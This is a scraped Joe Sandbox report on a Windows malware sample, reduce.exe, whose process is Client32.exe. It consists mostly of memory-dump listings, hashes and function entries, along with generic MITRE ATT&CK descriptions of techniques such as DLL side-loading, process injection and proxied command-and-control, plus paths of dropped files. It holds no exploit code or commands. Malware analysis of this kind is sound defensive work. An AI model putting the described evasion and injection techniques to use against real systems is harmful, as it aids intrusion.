Associated: 00000000.00000002.1719873607.0000000100637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719885626.0000000100639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719936225.000000010063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719947395.000000010063B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719959534.000000010063E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719971578.0000000100640000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719985238.000000010064F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719997011.0000000100652000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720009292.0000000100653000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720094571.0000000100654000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720107785.0000000100657000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720120775.000000010065C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720133215.0000000100663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720145160.0000000100664000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720157421.0000000100665000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720170049.0000000100666000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720531012.00000001009CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720551413.00000001009CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720577037.00000001009CD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720577037.00000001010CC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000000_reduce.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831f67f443be52cd1ba998e6a031efbf109914a3ba4ee8928bdaf1920663c5d6
Instruction ID: 4b9a35214640487f3da69ba83e33ac60b8d98a16f100709ebed05dbeb4fcfe76
Opcode Fuzzy Hash: 831f67f443be52cd1ba998e6a031efbf109914a3ba4ee8928bdaf1920663c5d6
Instruction Fuzzy Hash:

Analysis Process: Client32.exePID: 8036, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	34.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000001000190A0 Relevance: .0, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1992614543.0000000100001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000008.00000002.1992588084.0000000100000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1992963826.00000001005E6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1992980720.00000001005ED000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993009848.0000000100637000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993024838.0000000100639000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993038976.000000010063A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993052663.000000010063B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993066581.000000010063E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993081990.0000000100640000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993097468.000000010064F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993112385.0000000100652000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993125809.0000000100653000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993139756.0000000100654000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993154251.0000000100657000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993168716.000000010065C000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993182842.0000000100663000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993198160.0000000100664000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993211247.0000000100665000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993225307.0000000100666000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009AE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993467505.00000001009CA000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993554923.00000001009CB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993569510.00000001009CD000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993569510.00000001010CC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_100000000_Client32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: cbdc517d08d70e67295529891a336eec7399af31cb94bd593c70ca53ae34146f
Instruction ID: 48b02fbab7062bd5209345767caade3ea1fe5ce447ca554bedf2b050c477dbd2
Opcode Fuzzy Hash: cbdc517d08d70e67295529891a336eec7399af31cb94bd593c70ca53ae34146f
Instruction Fuzzy Hash: 6BF01D75700A50CCF702AB6098153CD3768B309B88F484526AE8C17B0ACFB4C2D28780

Function 00000001000030A0 Relevance: .0, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1992614543.0000000100001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000008.00000002.1992588084.0000000100000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1992963826.00000001005E6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1992980720.00000001005ED000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993009848.0000000100637000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993024838.0000000100639000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993038976.000000010063A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993052663.000000010063B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993066581.000000010063E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993081990.0000000100640000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993097468.000000010064F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993112385.0000000100652000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993125809.0000000100653000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993139756.0000000100654000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993154251.0000000100657000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993168716.000000010065C000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993182842.0000000100663000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993198160.0000000100664000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993211247.0000000100665000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993225307.0000000100666000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009AE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993467505.00000001009CA000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993554923.00000001009CB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993569510.00000001009CD000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993569510.00000001010CC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_100000000_Client32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2266927e57963bc7d73e39e48b32372e8f3b6fdaed5d289f772148ce9b545172
Instruction ID: e7c1e186aca81daaf9e6d333712158edd3ca37f5a671d8e7065e9d07a9428669
Opcode Fuzzy Hash: 2266927e57963bc7d73e39e48b32372e8f3b6fdaed5d289f772148ce9b545172
Instruction Fuzzy Hash: D4E0B631610985E4EA17EB60EC097D82324B75C3C8FC45062A5CD421AADFA8CA8ACB51

Function 0000000100003190 Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1992614543.0000000100001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000008.00000002.1992588084.0000000100000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1992963826.00000001005E6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1992980720.00000001005ED000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993009848.0000000100637000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993024838.0000000100639000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993038976.000000010063A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993052663.000000010063B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993066581.000000010063E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993081990.0000000100640000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993097468.000000010064F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993112385.0000000100652000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993125809.0000000100653000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993139756.0000000100654000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993154251.0000000100657000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993168716.000000010065C000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993182842.0000000100663000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993198160.0000000100664000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993211247.0000000100665000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993225307.0000000100666000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009AE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993417364.00000001009C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993467505.00000001009CA000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993554923.00000001009CB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993569510.00000001009CD000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1993569510.00000001010CC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_100000000_Client32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831f67f443be52cd1ba998e6a031efbf109914a3ba4ee8928bdaf1920663c5d6
Instruction ID: 4b9a35214640487f3da69ba83e33ac60b8d98a16f100709ebed05dbeb4fcfe76
Opcode Fuzzy Hash: 831f67f443be52cd1ba998e6a031efbf109914a3ba4ee8928bdaf1920663c5d6
Instruction Fuzzy Hash:

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report reduce.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\16ad20e3

C:\Users\user\AppData\Local\Temp\1844328e

C:\Users\user\AppData\Local\Temp\27142db2

C:\Users\user\AppData\Local\Temp\287780e3

C:\Users\user\AppData\Local\Temp\ivmfgila

C:\Users\user\AppData\Local\Temp\kupcq

C:\Users\user\AppData\Local\Temp\nfabo

C:\Users\user\AppData\Local\config

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
reduce.exe

Function 00000001000190A0 Relevance: .0, Instructions: 25
COMMON

Function 00000001000030A0 Relevance: .0, Instructions: 15
COMMON

Function 0000000100003190 Relevance: .0, Instructions: 5
COMMON

Function 00000001000190A0 Relevance: .0, Instructions: 25
COMMON

Function 00000001000030A0 Relevance: .0, Instructions: 15
COMMON

Function 0000000100003190 Relevance: .0, Instructions: 5
COMMON